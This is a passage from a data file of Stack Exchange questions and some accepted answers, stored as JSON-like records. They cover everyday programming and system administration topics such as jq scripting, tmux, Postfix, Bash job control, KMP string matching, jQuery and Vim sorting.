IEnumerable.GetEnumerator() { return GetEnumerator(); }}In the class above I use the StreamReader.ReadLine method to read a file line by line, and the String.IndexOf/String.IndexOfAny methods to move within the line.According to my test runs, this approach is a bit faster." } { "id": "_unix.352845" , "question": "I'm currently building a script that parses json files and make some operation while parsing it.Here's the beginning of my script:for folder in `ls -d $path` do mag=`basename $folder`for file in `ls $folder` # pour chaque fichier prsent dans le dossier spcifdo receivedCustomer=`jq .receivedCustomer $folder/$file` invoiceCustomer=`jq .invoiceCustomer $folder/$file` anotherCustomer=`jq .anotherCustomer $folder/$file` etc...` if [ \\( $view == \\healthCheck\\ \\) ] then healthCheckCpt=`expr $healthCheckCpt + 1` fi if [ \\( $terminal == \\01\\ \\) ] then terminal01=`expr $terminal01 + 1` fiEtc...Then some operation are a little bit more complex:if [ $sameClientFacture -gt 0 ] then sameClient=`echo $sameClientFacture $anotherCustomerTrue $rattachementClientBorne $factureSansClientRattache | awk '{printf%.2f,$1/($2+$1+$3+$4)*100}'`# echo sameClient : $sameClient fi if [ $anotherCustomerTrue -gt 0 ] then differentClient=`echo $sameClientFacture $anotherCustomerTrue $rattachementClientBorne $factureSansClientRattache | awk '{printf%.2f,$2/($2+$1+$3+$4)*100}'`# echo differentClient : $differentClient fiFinally I just construct another JSON file containing the results of the operations with an echo :echo { x : value , y : value etc... } > out_file I'm surely doing something wrong since I'm very new to shell programming.I'm parsing around 30 000 files at a time of few KB each (from 50 to 150 lines per file), the last attempt took 2070 sec long, compared to a Java parsing I find it very slow..Do you guys have a clue how may I improve my script? " , "title": "Slow / Poor performance JSON Parsing with JQ" , "tags": "scripting;performance;json;jq" } { "id": "_datascience.2628" , "question": "Using SAS Studio (online, student version)...Need to do a nested likelihood ratio test for a logistic regression. Entirety of instructions are: Perform a nested likelihood ratio test comparing your full model (all predictors included)to a reduced model of interest.The two models I have are:Proc Logistic Data=Project_C;Model Dem (event='1') = VEP TIF Income NonCit Unemployed Swing;Run;andProc Logistic Data=Project_C;Model Dem (Event='1') = VEP TIF Income / clodds=Wald clparm=Wald expb rsquare;Run;I honestly have no idea where to even start. Any suggestions would be appreciated. Thanks!" , "title": "SAS Nested Likelihood Ratio Test for a Logistic Model" , "tags": "logistic regression" } { "id": "_softwareengineering.137947" , "question": "I recently read an article on the 37Signals blog and I'm left wondering how it is that they get the cache key.It's all well and good having a cache key that includes the object's timestamp (this means that when you update the object the cache will be invalidated); but how do you then use the cache key in a template without causing a DB hit for the very object that you are trying to fetch from the cache.Specifically, how does this affect One to Many relations where you are rendering a Post's Comments for example.Example in Django:{% for comment in post.comments.all %} {% cache comment.pk comment.modified %} <p>{{ post.body }}</p> {% endcache %}{% endfor %}Is caching in Rails different to just requests to memcached for example (I know that they convert your cache key to something different). Do they also cache the cache key?" , "title": "How does key-based caching work?" , "tags": "python;django;memcached" } { "id": "_webmaster.12911" , "question": "I have been wandering around some SEO sites this evening and have been seeing this term linkbaiting. The word bait kind of makes it not sound so great.What exactly is linkbaiting and how does it differ from article marketing? From the gist of some of these descriptions I'm seeing, this is something fairly new, but it seems almost identical to article marketing. What am I missing?" , "title": "What is linkbaiting?" , "tags": "seo;backlinks" , "accepted_answer": "Its not new. It means creating content that people want to link to. Infographics can be good link bait. The proper way to get links it to have something worth linking to. By creating something unique, or something very informative, you create link bait. Here is a good example of a very well written article that is link bait: http://www.seobook.com/economics-of-content-farms.More info: http://www.ericward.com/linkbait-services.html." } { "id": "_cs.74296" , "question": "I'm not an instructor. I'm a student doing such course. And I'm just trying to figure out what to do, because we're not given an input language. What kind of (input) language would you suggest for an University compiler project?It's a project typical to the compiler course in CS programs.However, I've been confused about, whether it would be easier to design a language for the project or use some existing programming language.It should be able to handle the following requirements:Readable (no binary noodles)CommentsAt least two different types of data (type errors must be captured at the latest during the run)Integrity technologyMaking choices (if tms)Playback (loops, recursion etc)Parameterizable subroutines (functions, methods, etc) that can use local variablesAdditional featuresTables (multidimensional, 0.5 cr, one-dimensional 0.25 cr)String input and output (0.25 cr)String interpolation or printf-style formatting by yourself (0.25 cr) Complex printf formats (0.25 cr)Records and variants (0.5 cr)Generic (Static) Types (0.5 cr)Classes and Late Binding (0.5 cr)First-class functions (0.5 cr)Garbage collection (entirely self-made) (1 cr)Recursive pattern match (garden Haskell) (0.5 cr)Lazy calculation (1-2 cr depending on the implementation technique)Additionally the implementation would include:Relatively effective interpreter without separate intermediate language 0 crGeneration of intermediate language (eg own, JVM or LLVM) 1 crGeneration of a machine language (eg AMD64 or ARM) from its own intermediate languageNaive register allocation 1 crSmart register allocation (eg graphing) 2 crAlso, what existing programming languages would fit into all of these? Does it have to be a functional language or does even C implement all of these?" , "title": "What kind of language would you suggest for an University compiler project?" , "tags": "compilers" } { "id": "_cs.16853" , "question": "recently there have been a few questions on teaching CS in both cs.se & tcs.se and there are many high-rated related questions on the two sites on the topic. thinking over the latest one made me realize that a lot of students get exposed to some aspects of STEM through the media (sometimes inaccurately), and one of the most powerful media outlets is movies. it seems that maybe instead of rolling ones eyes or recoiling from their unrealism, these have some potential and can be used as a teaching tool (aka teachable moment) by taking them as a student experience to build on, as case studies for students to learn about certain concepts and how the concepts actually work vs the screenwritten, hollywood version, ie address (possible widespread?) misconceptions about the field and its essential aspects.what are key or compelling movies introducing CS-type concepts and what is accurate/inaccurate about the portrayal? [or is it roughly correct?]teaching high school TCS tcs.sewhat should I do with a bunch of 16/17yr olds to get them interested in CS cs.se" , "title": "computer science in the movies as an educational angle" , "tags": "education" , "accepted_answer": "I haven't seen it yet, but Travelling Salesman could be pretty interesting." } { "id": "_webapps.103453" , "question": "Facebook has a built-in capability to download everything you posted and liked https://www.facebook.com/help/131112897028467/However it doesn't allow to download the content you repostedIn the downloaded archive it is shown asThursday, February 23, 2017 at 8:08am UTC+02Michael Naumov shared Someone's post.I am interested to download all such posts themselves.I tried to use Activity Log - Your posts. It uses load-on-demand approach so in order to get all the content I have to constantly scroll down.So I ran JavaScriptsetInterval(function() { window.scrollTo(0, document.body.scrollHeight); }, 100);After waiting a while I could get the whole timeline loaded. However this doesn't help much because all the images I am looking for are rendered as thumbnails and in order to get the full version of it I have to click on it and then save it from the popup.But before trying to implement that approach I decided to ask the community is there any smarter way to achieve what I want." , "title": "Download all Facebook reposts images" , "tags": "facebook" } { "id": "_unix.58588" , "question": "I am trying to bind X to do the following:prompt the user whether the session should be killedif y is entered, kill the sessionafter the session is killed select another session (last, previous, or next session)Some similar commands that aren't quite rightKill the session and close the terminal:bind X confirm-before -p Kill #S (y/n)? kill-sessionPrompt the user for the name of the session to kill and select next session after kill:bind X command-prompt -p kill: switch-client -n \\; kill-session -t '%%'I haven't been able to find examples of similar commands. Here's a solution something that doesn't work:bind X confirm-before -p Kill #S (y/n)? SESSION='#S' \\; \\switch-client -n \\; kill-session -t \\$SESSION\\" , "title": "Kill a tmux session and select another tmux session" , "tags": "tmux" , "accepted_answer": "I think this is close to what you want:bind-key X confirm-before -p Kill #S (y/n)? run-shell 'tmux switch-client -n \\\\\\; kill-session -t \\\\$(tmux display-message -p \\#S\\)\\'Your #3 approach is along the right lines, but the problem is that confirm-before does not do status-left-style substitutions (e.g. #S) in its command string.A caveat for the above binding is that since everything is done in from run-shell, the commands are run outside the context of any particular client or session. It really only works because the default client (for switch-client) and default session (for #S in display-message -p) are the most recently active ones. This works out as you would expect as long as you only have a single active client (e.g. a single user that does not type into another tmux client until after the shell commands have finished running); it could fail dramatically if (e.g.) you trigger the binding in tmux client A, but new input is received by tmux client B before the shell started by run-shell has had a chance to run its commands.This particular race condition seems like a nice motivation for providing client/session/window/pane information to run-shell commands. There is a TODO entry about getting if-shell and run-shell to support (optional?) status_replace() (i.e. status-left-style substitutions), though maybe a better choice would be format_expand(), which is kind of a newer super-set of status_replace (offers #{client_tty}, etc.)." } { "id": "_unix.45415" , "question": "I have my webserver set up to send out email as a smartserver using postfix and it does not allow any other machines on my network to send mail through it. I've been able to send email from my webserver to any address I like and it still works like that.But I want to change the fact that postfix refuses all clients on the local LAN. I want my desktop PC to be able to send out email through my webserver, but I can't get past these log messages:Aug 13 21:58:01 localserver postfix/smtpd[21838]: connect from diablo[2001:980:1b7f:1:d568:1d76:bc9a:e356]Aug 13 21:58:05 localserver postfix/smtpd[21838]: disconnect from diablo[2001:980:1b7f:1:d568:1d76:bc9a:e356]I tried adding the IPv6 address to the mynetworks line in main.cf, but it doesn't solve the issue.smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)biff = noappend_dot_mydomain = noreadme_directory = no# TLS parameterssmtpd_tls_cert_file = /etc/ssl/certs/ssl-mail.pemsmtpd_tls_key_file = /etc/ssl/private/ssl-mail.keysmtpd_use_tls = yessmtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scachesmtp_tls_session_cache_database = btree:${data_directory}/smtp_scachemyhostname = localserver.localalias_maps = hash:/etc/aliasesalias_database = hash:/etc/aliasesmyorigin = /etc/mailnamemydestination = some.server.nl., localserver.local, localhost.local, localhostrelayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104mailbox_size_limit = 0recipient_delimiter = +inet_interfaces = allhome_mailbox = Maildir/smtpd_sasl_auth_enable = yessmtpd_sasl_type = dovecotsmtpd_sasl_path = private/dovecot-authsmtpd_sasl_authenticated_header = yessmtpd_sasl_security_options = noanonymoussmtpd_sasl_local_domain = $myhostnamebroken_sasl_auth_clients = yessmtpd_recipient_restrictions = reject_unknown_sender_domain, reject_unknown_recipient_domain, reject_unauth_pipelining, permit_mynetworks, permit_sasl_authenticated, reject_unauth_destinationsmtpd_sender_restrictions = reject_unknown_sender_domainmailbox_command = /usr/lib/dovecot/deliver -c /etc/dovecot/conf.d/01-mail-stack-delivery.conf -n -m ${EXTENSION}smtp_use_tls = yessmtpd_tls_received_header = yessmtpd_tls_mandatory_protocols = SSLv3, TLSv1smtpd_tls_mandatory_ciphers = mediumsmtpd_tls_auth_only = yestls_random_source = dev:/dev/urandomHints/tips anyone?" , "title": "postfix add single IPv6 address" , "tags": "postfix;ipv6" } { "id": "_webmaster.101849" , "question": "A particular gaming platform allows clients to connect to game servers by entering a URL into their web browser. Upon entering the URL in the web browser and pressing enter, the application launches and joins the specified server. This URL takes the form of a specific application layer protocol, followed by an IP address and port. Ex. xyz://server-ip:portI wish to redirect a subdomain of my website to the address of my game server. If my domain is example.com, I'm looking for play.example.com to redirect to xyz://server-ip:port.Using a forward resource record did not work, nor did using a PHP header redirect, presumably because both are strictly HTTP redirects. Some ideas that I've had include using a <meta> tag, a .htaccess file, javascript, or another resource record, but I'm not familiar enough with any of them to know which, if any, are viable." , "title": "Cleanly redirecting a subdomain to an address with a different application layer protocol" , "tags": "redirects;dns" } { "id": "_unix.311558" , "question": "I was wondering - how can we be sure that file data isn't being changed (from usermode thread) after the security_mmap_file() hook is called, but before the file is actually mapped. If the data could be changed this is a classic time-of-check-time-of-use attack.I assume there's some lock which I'm missing here...I know that before security_bprm_check() is called (from exec()), the file is write-locked by using deny_write_access() (in do_open_exec()), so that makes sense, but I can't see such a lock before security_mmap_file()Thanks!" , "title": "LSM security_mmap_file lock question" , "tags": "linux;security;lsm" } { "id": "_unix.58555" , "question": "I am consistently running out of inotify resources, leading to errors along the lines of:# tail -f /some/filestail: inotify resources exhaustedtail: inotify cannot be used, reverting to pollingThis eventually happens even if I grow the value of fs.inotify.max_user_watches. I suspect a locally installed Java application is consuming the resources, but I don't have the option of either fixing it or removing it.Is there a way to set a limit on the number of inotify watches that can be consumed by a process?" , "title": "Can I limit the number of inotify watches available to a process or cgroup?" , "tags": "linux;limit;inotify" } { "id": "_softwareengineering.161670" , "question": "I've spent the last year becoming really comfortable with MySQL, but due to its increasing trendiness and my desire to homogenize my web-apps with Heroku, I'd like to start using PostgreSQL for my web apps instead. There are a resources out there for learning PostgreSQL, but I don't really want to have database concepts explained to me from scratch again, and I don't want to have to re-learn all the stuff that's pretty much the same.What are the critical differences that I need to understand - syntactical and conceptual - between MySQL and PostgreSQL that will affect me on a day-to-day basis?" , "title": "Making the switch from MySQL to PostgreSQL?" , "tags": "database;mysql;postgres" , "accepted_answer": "It depends somewhat on how you're using the database.If you're using an ORM, you might not notice any issues at all.I switched an application to using Postgresql (for deployment to Heroku), but only after discovering situations where the SQL created by Rails worked fine on SQLite, but not on Postgresql. Invariably, the issues were caused when joins were querying the same column name on multiple tables. SQLite didn't care, but Postgresql wanted the relation name specified if it was in the 'where' clause.Even though I've worked with both MySQL and Postgresql, I'm not sure of any fundamental conceptual differences between them. They're both fairly solid client-server databases, although PG seems to be generating a better reputation.However, there are definitely some critical syntactical differences between MySQL and Postgresql. I found a decent guide to those here: http://en.wikibooks.org/wiki/Converting_MySQL_to_PostgreSQL" } { "id": "_unix.307124" , "question": "What is the difference between running following commands on terminal?command1for i in {1..3}; do ./script.sh >& log.$i & doneandcommand2for i in {1..3}; do ./script.sh >& log.$i & done &Running the first command shows three job IDs on the screen and I can type the next command on ther terminal. The second command is a bit weird, it does not show any job IDs on screen nor can I see them after running jobs command. Where did the jobs go? Inside of script.sh I have following loopfor k in 1; do ./tmp -argumentsdoneecho helloIf I use command 1, I can see via htop that ./tmp executible is running and echo hello has not yet been executed (not in the log file).If I use command 2, I can see via htop that ./tmp executible is running AND echo hello has ALREADY been executed (as seen in the log file).Why would an & on the terminal change the behaviour of the for loop inside the shell script?[GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)]" , "title": "Ampersand after for loop on shell scripts" , "tags": "bash;shell script;job control" , "accepted_answer": "The first onefor i in {1..3}; do ./script.sh >& log.$i &doneruns in the current shell. Each iteration of the loop runs the script.sh script as a job of the current shell, and so you can see them so.The second onefor i in {1..3}; do ./script.sh >& log.$i &done &first starts a subshell that controls the loop. Then the 3 iterations create 3 subprocesses in that shell, while in your current shell you can only see 1 job, which is the whole command, not yet broken down into particular jobs. (You should see this 1 job. Either as a Running one or as Done.)The ./tmp executable should run the same way in both cases. If you see echo hello has been performed, this means the ./tmp had been finished before. If it behaves abnormally, you should debug (and add the details to your question). Especially, make sure the starting conditions are the same at the time of its call in both cases. Eg. if there are checks for existing files, make sure in both cases they do/don't exist, etc." } { "id": "_codereview.92801" , "question": "I repeat here this answer on Stack Overflow.I first posted an answer with not finalized code, as a simple description of the solution I could think, without any test. But later I remained interested, so I worked to make it (hopefully) perfectly functional.To precisely define what it is meant to do, let me cite my previous answer:This is a classic dilemma for any CMS or blog, where the teaser should present the begin of an article: often the solution is either stripping text from its tags and cut at a precise count OR keep tags but cut approximately because the tags are counted too...So here the intent is to take an HTML element with any number of children, and any nesting level and return:the same element (i.e. keeping its tag and attributes)where resulting text content (i.e. visible as characters in the resulting page) is limited to a given countwhere resulting text is built from successive text nodes in their natural orderwhere encountered tags are keeped intact and at their natural placeHere is my actual solution:function cutKeepingTags(elem, reqCount) { var grabText = '', missCount = reqCount; $(elem).contents().each(function() { switch (this.nodeType) { case Node.TEXT_NODE: // Get node text, limited to missCount. grabText += this.data.substr(0,missCount); missCount -= Math.min(this.data.length, missCount); break; case Node.ELEMENT_NODE: // Explore current child: var childPart = cutKeepingTags(this, missCount); grabText += childPart.text; missCount -= childPart.count; break; } if (missCount == 0) { // We got text enough, stop looping. return false; } }); return { text: // Wrap text using current elem tag. elem.outerHTML.match(/^<[^>]+>/m)[0] + grabText + '</' + elem.localName + '>', count: reqCount - missCount };}And here is a working example. (I kept the HTML example posted by the previous question OP)" , "title": "Truncating text with jQuery but keep the HTML formatting" , "tags": "javascript;jquery;html;regex;dom" , "accepted_answer": "First of all, I would just like to say that this is a really good and useful function. From a Code Review standpoint, there are almost no errors in it that I know of. Here are a few things I found from examining it:Keep spacing uniformLine 8 doesn't have a space between parameters, where your other function calls do. This is most likely due to quick typing and not any major issue other than a cleanliness nitpick.An invalid input for ifLines 19-21 where you have an if like so:if (missCount == 0) { // We got text enough, stop looping. return false;}You should never use == over === due to it being possible that something like 0 would match the same as 0. This is because the double equals signs finds if it matches an exact value, where triple equals signs tests for exact value and type. So your final code should look like this for the if statement:if (missCount === 0) { // We got text enough, stop looping. return false;}Optional - JSHintIf you use JSHint in JSFiddle, then you'll run into errors when trying to run this:elem.outerHTML.match(/^<[^>]+>/m)[0] + grabText + '</' + elem.localName + '>',If you're worried about that then you just have to write it all on one line. But for being short and concise, that might not be what you want." } { "id": "_unix.118289" , "question": "This sort of a setup seems to be common in shopping malls and airports. In Western Canada Shaw provides such a service and calls it Shaw Open. I'm pretty sure other locales have similar services from providers such as T-Mobile, etc.From something such as a cell phone it's not very complicated to do. No authentication is necessary to connect to the wifi hotspot as it is open for public access. But my cell phone won't connect to websites or remote services via apps until I use my browser and sign in to a particular webpage provided by the ISP. My question simply stated is: How do I automate the authentication step from a device that doesn't typically have a traditional browser?I have, in my particular case, a raspberry Pi configured with software that I want to use at trade shows etc. Theses locations have the same sort of open hotspots. The Raspi is meant to be self contained. It just does its business and talks to a website. But this outbound connection is blocked by the ISPs open connection because I haven't, nor can I complete the browser part of the process.Assuming I have credentials to do this on a particular provider's network, how can I automate that part of the process without requiring me to open a terminal session to the Pi? What kind of technology is even used here, that I can search for?" , "title": "How do I authenticate to a wireless provider's open network without using a browser?" , "tags": "wifi;wpa supplicant" } { "id": "_softwareengineering.349485" , "question": "While trying to debug a weird issue where I knew an exception should have been thrown but was not, I found the following in the Java standard library's java.lang.ClassLoader class:/** * Open for reading, a resource of the specified name from the search path * used to load classes. This method locates the resource through the * system class loader (see {@link #getSystemClassLoader()}). * * @param name * The resource name * * @return An input stream for reading the resource, or <tt>null</tt> * if the resource could not be found * * @since 1.1 */public static InputStream getSystemResourceAsStream(String name) { URL url = getSystemResource(name); try { return url != null ? url.openStream() : null; } catch (IOException e) { return null; }}What reason would there be where the decision was made that this exception should not be thrown but instead silently consumed?While discussing this with a coworker a possible option was that perhaps this function predated IOException and thus this was added to maintain backwards compatibility, however this method was added in Java 1.1, while IOException was added in 1.0.This is a file operation so IOExceptions would not be out of place, so why would the makers of an exception based language choose returning null over passing up a thrown exception?" , "title": "Why does Java's getSystemResourceAsStream silently consume IOExceptions?" , "tags": "java;exceptions;standard library" , "accepted_answer": "The writers of the function get to define what could not be found includes. Here they include any IOExceptions thrown in the attempt as could not be found. This simplifies the usage of this function, as the user only needs to check for null. A more modern library might have this return Option<InputStream>.Notice how they don't try-catch getSystemResource, the documentation of that also specifies it returns null on failure." } { "id": "_cs.66730" , "question": "This question is both general in nature and also specific to computer vision. If this is the wrong forum, apologies in advance and suggestions on where to post would be much appreciated.After a certain point, do the benefits of more data plateau for machine learning algorithms?For instance, let's say the goal is object recognition of a basketball. Is there a plateau, say, after training on 1M images of basketballs? Or is the plateau lower at like 100K images? Or is there no plateau at all?More concretely, can you detect basketballs with 99% accuracy after 100K samples, meaning the next 900K samples only nets an additional 1% in accuracy at most?How about for non-image domains such as speech recognition of all words related to the weather in the English language?It seems that if there is a plateau, it would hinge on the complexity of the domain. Assuming the data plateau exists, is there a principle for generalizing what the plateau is for a given domain (e.g., to recognize one type of object with no variations, you need about 100K images from every angle and under different lighting conditions)?" , "title": "Machine learning: do the benefits of more data plateau after a certain point?" , "tags": "machine learning;computer vision" } { "id": "_webapps.92830" , "question": "I want to share some tweets and retweets to Facebook. The Facebook connect app in Twitter shares every tweet to my Facebook account. I want to be able to control which tweet/retweet gets posted to Facebook and which doesn't." , "title": "How do I share individual tweets/retweets to Facebook?" , "tags": "facebook;twitter" } { "id": "_cs.1669" , "question": "Let $A_P = (Q,\\Sigma,\\delta,0,\\{m\\})$ the string matching automaton for pattern $P \\in \\Sigma^m$, that is $Q = \\{0,1,\\dots,m\\}$$\\delta(q,a) = \\sigma_P(P_{0,q}\\cdot a)$ for all $q\\in Q$ and $a\\in \\Sigma$with $\\sigma_P(w)$ the length of the longest prefix of $P$ that is a Suffix of $w$, that is$\\qquad \\displaystyle \\sigma_P(w) = \\max \\left\\{k \\in \\mathbb{N}_0 \\mid P_{0,k} \\sqsupset w \\right\\}$.Now, let $\\pi$ the prefix function from the Knuth-Morris-Pratt algorithm, that is$\\qquad \\displaystyle \\pi_P(q)= \\max \\{k \\mid k < q \\wedge P_{0,k} \\sqsupset P_{0,q}\\}$.As it turns out, one can use $\\pi_P$ to compute $\\delta$ quickly; the central observation is:Assume above notions and $a \\in \\Sigma$. For $q \\in \\{0,\\dots,m\\}$ with $q = m$ or $P_{q+1} \\neq a$, it holds that$\\qquad \\displaystyle \\delta(q,a) = \\delta(\\pi_P(q),a)$But how can I prove this?For reference, this is how you compute $\\pi_P$:m length[P ][0] 0k 0for q 1 to m 1 do while k > 0 and P [k + 1] =6 P [q] do k [k] if P [k + 1] = P [q] then k k + 1 end if [q] k end whileend forreturn " , "title": "Connection between KMP prefix function and string matching automaton" , "tags": "algorithms;finite automata;strings;searching" , "accepted_answer": "First of all, note that by definition$\\delta(q,a) = \\sigma_P(P_{0,q}\\cdot a) =: s_1$ and$\\delta(\\pi_P(q),a) = \\sigma_P(P_{0,\\pi_P(q)}\\cdot a) =: s_2$.Let us investigate $s_1$ and $s_2$ in a sketch:[source]Now assume $s_2 > s_1$; this contradicts the maximal choice of $s_1$ directly. If we assume $s_1 > s_2$ we contradict the fact that both $s_2$ and $\\pi_P(q)$ are chosen maximally, in particular because $\\pi_P(q) \\geq s_1 - 1$. As both cases cases lead to contradictions $s_1=s_2$ holds, q.e.d.As requested, a more elaborate version of the proof:Now we have to show $s_1=s_2$; we do this by showing that the opposite leads to contradictions.Assume $s_2 > s_1$. Note that $P_{0,s_2} \\sqsupset P_{0,q}\\cdot a$ because $P_{0,s_2} \\sqsupset P_{0,\\pi_P(q)}\\cdot a$ and $P_{0,\\pi_P(q)} \\sqsupset P_{0,q}$ by definition of $s_2$. Therefore, $P_{0,s_2}$ -- a prefix of $P$ and a suffix of $P_{0,q}\\cdot a$ -- is longer than $P_{0,s_1}$, which is by definition of $s_1$ the longest prefix of $P$ that is a suffix of $P_{0,q}\\cdot a$. This is a contradiction.Before we continue with the other case, let us see that $\\pi_P(q) \\geq s_1 - 1$. Observe that because $P_{0,s_1} \\sqsupset P_{0,q}\\cdot a$, we have $P_{0,s-1} \\sqsupset P_{0,q}$. Assuming that $\\pi_P(q) < s_1 - 1$ immediately contradicts the maximal choice of $\\pi_P(q)$ ($s_1 - 1$ is in the set $\\pi_P(q)$ is chosen from).Assume $s_1 > s_2$. We have just shown $|P_{0,\\pi_P(q)}\\cdot a| \\geq s_1$, and remember that $P_{0,\\pi_P(q)}\\cdot a \\sqsupset P_{0,q} \\cdot a$. Therefore, $s_1 > s_2$ contradicts the maximal choice of $s_2$ ($s_1$ is in the set $s_2$ is chosen from).As neither $s_1 > s_2$ nor $s_2 > s_1$ can hold, we have proven that $s_1 = s_2$, q.e.d." } { "id": "_unix.28436" , "question": "I'm trying to mount a disc created some time ago in Amazon EC2. This is what I see (line breaks added for the sake of readability):$ sudo file -s /dev/xvda4/dev/xvda4: x86 boot sector; partition 1: ID=0x83, starthead 1, startsector 63, 10474317 sectors, extended partition table (last)\\011, code offset 0x0When I'm trying to mount it:$ sudo mount /dev/xvda4 /mnt/foomount: wrong fs type, bad option, bad superblock on /dev/xvda4, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or soHow can I mount this disc?Maybe this information will help:$ sudo fdisk -lu /dev/xvda4Disk /dev/xvda4: 5368 MB, 5368709120 bytes255 heads, 63 sectors/track, 652 cylinders, total 10485760 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x0952616d Device Boot Start End Blocks Id System/dev/xvda4p1 63 10474379 5237158+ 83 Linux" , "title": "how to mount this disk?" , "tags": "filesystems;mount" } { "id": "_softwareengineering.312480" , "question": "So right now I have a single thread to handle all the requests for the database. Let's say I have 400 requests per second for logins / logouts / other stuff, and 400 requests per second which are only related to items (move them, update them, remove them, etc).Obviously, the problem is that If I want to load an item from the database, but the database is currently processing a login request, then there's gonna be a delay. And I want it to be instant, that's why I wanted to create another thread, exclusive to process item requests, and the other thread to process logins/logouts, etc.Microsoft says this:1: Have multiple statement handles on a single connection handle, with a single thread for each statement handle.2: Have multiple connection handles, with a single statement handle and single thread for each connection handle.What are exactly the differences on both approaches? I obviously need to fetch data and insert/update in both threads at the same time.Will this 2 threads vs 1 approach speed up things?Both threads will work exclusive in different SQL tables (ie the thread for the items will only use ITEMS_TABLE, it will never use the LOGIN_TABLE and vice-versa)Currently I'm using the following functions (C++):SQLSetEnvAttr with SQL_OV_ODBC3SQLConnectSQLAllocHandleSQLBindParameterSQLExecDirect" , "title": "ODBC 3 Multiple Statements vs Multiple Connections" , "tags": "sql;multithreading;windows;sql server" } { "id": "_unix.136765" , "question": "In the video, there is one machine connected to another via SSH, where the second OpenVPN daemon is already started and configured with a user/password requested at login:http://youtu.be/tSNCE6j2zxMHow do I configure the OpenVPN daemon to get it started and configured with user/password automatically? What are the directories to move? What commands do I need? " , "title": "Daemon OpenVPN configuration file with .conf?" , "tags": "ssh;openvpn" , "accepted_answer": "To me it looks like a simple login script that immediately connects to another box. Something like:~$ cat .bash_profilecleartelnet <the-other-box>Not sure why you mention OpenVPN. It doesn't look like OpenVPN is involved here..." } { "id": "_codereview.8010" , "question": "My goal was to make a list dynamically list itself into two columns, no matter the length of the list. I know this is possible by just floating the li nodes, but I wanted to keep the li nodes in the same vertical order. I would really like to hear from people who know more about JavaScript and jQuery than I do if this code looks good or if there is a better or more concise method for implementing this sort of thing.Demo: http://jsfiddle.net/mkimitch/ZEL5x/HTML:<ul class=columned> <li>Australia</li> <li>Brazil</li> <li>Canada</li> <li>Chile</li> <li>China</li> <li>France</li> <li>India</li> <li>Italy</li> <li>Malaysia</li> <li>Norway</li> <li>Russia</li> <li>United Kingdom</li> <li>United States</li></ul>JavaScript:var colLength = $('.columned li').length;var colHeight = $('.columned').height();var liHeight = $('.columned li').height();if ($('.columned li').length % 2 != 0) { var half = (Math.round(colHeight / 2)) + liHeight / 2;} else { var half = Math.round(colHeight / 2);}var firstrow = Math.ceil(colLength / 2);var secondrow = firstrow + 1;$('.columned li:nth-child(-n+' + firstrow + ')').addClass('column1');$('.columned li:nth-child(n+' + secondrow + ')').addClass('column2');$('.columned li:nth-child(' + secondrow + ')').css('margin-top', -half);" , "title": "Is there a better or more concise way to do this?" , "tags": "javascript;jquery;html" } { "id": "_unix.96428" , "question": "I have a archive backup.tar that was created with a nonstandard program a long time ago. I no longer have access to the original program. The archive is Not compressed (gzip). When trying to extract the archive files, I receive an Unexpected EOF error.It's complicated, but I have reason to suspect that the only problem is with the the checksum. I want to extract it and get the files out. Is there a way (perhaps using cpio or pax), to ignore or fix the tar checksum, and extract the files?" , "title": "Tar ignore or fix checksum" , "tags": "tar;data recovery;checksum;cpio;pax" } { "id": "_webmaster.108783" , "question": "I need to create my custom view for data from Google Analytics but I don't have any access to any data for API tests. Is there any place where can I find sample data for this response?" , "title": "Example data from Google Analytics API response" , "tags": "google analytics;google api" } { "id": "_vi.3370" , "question": "Normal command :sort can sort lines based on column or virtual column (\\%c or \\%v), could the higher level logical column be used as sorting key? Using regular expression looks a little complex for this scenario (the column is around the end of the line?) and it looks similar as what the sort utility does (sork -k), but sort with this functionality is unavailable on Windows. Vim plug-in will also help.For example, I'd like to sort the 2 lines below according to the last column separated by comma. My real scenario has much more columns and string pattern. Specify column delimiter will simplify it a lot.xxx,yyy,zzz,0x123zzxz,xxxx,yyyy,0x121" , "title": "Sort based on comma separated words" , "tags": "regular expression;sort" , "accepted_answer": "Vim's sort allows you to either skip {pattern}, or only consider it (with the r flag). A regular expression for the last comma-delimited column is easy to formulate: Skip everything until and including the last comma in a line::sort/.*,/For any other column, I would use the r flag, and skip N (here: 2) previous columns via \\zs::sort/\\([^,]*,\\)\\{2}\\zs[^,]*/" } { "id": "_softwareengineering.348663" , "question": "So the scenario is we are going to develop a web app. It will primarily consist of:APIFront End stuff (HTML/CSS/JS)I am considering two approaches: Package API separately into a *.war and deploy on the server. Write front end stuff and call those API. (This is what my previous company followed as we had API in hibernate ORM over RESTeasy deployed on JBOSS)Package all the API and UI stuff into a *.jar. This is what my current company is following. Spring Framework, JSP.As I understand it, using the first approach we can have more modularisation. We can point our UI to whatever API URL which can come in handy while testing, switching APIs and so on.Using second approach we can maintain higher level of integrity as in making the UI code more secure and uniform as we can reference them directly from API code. Although the catch is that the code becomes little unreadable and messy, thought that could be just a personal opinion.What are other reasons behind taking these kind of approaches? Is my understanding correct? What approach is suitable in what scenarios?" , "title": "Better approach to developing/deploying web apps" , "tags": "design patterns;web applications;api" } { "id": "_codereview.111440" , "question": "I have a list of lists of 4 integers, each representing the length of one side of a tetragon in clockwise order (so each number is the length of the side of the right-hand-adjacent-side of the previous one). Integers can be negative or positive or 0. My idea is that if any of the sides are less than or equal to 0 then it's not a valid tetragon. Then if the lengths of all the sides are equal then it can form a square. Then if lengths of opposing sides are equal then it can form a rectangle, otherwise it's neither.tgons=[[1,1,1,1],[1,2,1,2],[1,2,3,4],[-1,-2,-1,-2],[1,0,1,0]]squares=0rects = 0neithers = 0for gon in tgons: if any(n <= 0 for n in gon): #if any integers <= 0, it's invalid neithers+=1 elif len(set(gon)) == 1: #if all integers are equal, it's a square squares+=1 elif gon[0] == gon[2] and gon[1] == gon[3]: #if both pairs of opposing sides have equal length, it's a rectangle rects+=1 else: neithers+=1print squares,rects,neithersThis code apparently fails one out of a few test cases (on a certain website). I've thrown all the test cases I could think of at it and I've not been able to get it to fail so far. Is there really a test case that it fails?" , "title": "Decide if 4 lengths form a square, rectangle or neither" , "tags": "python" , "accepted_answer": "Why do we need a set to find a square?Why is a square not a subset of rectangle?You can do the 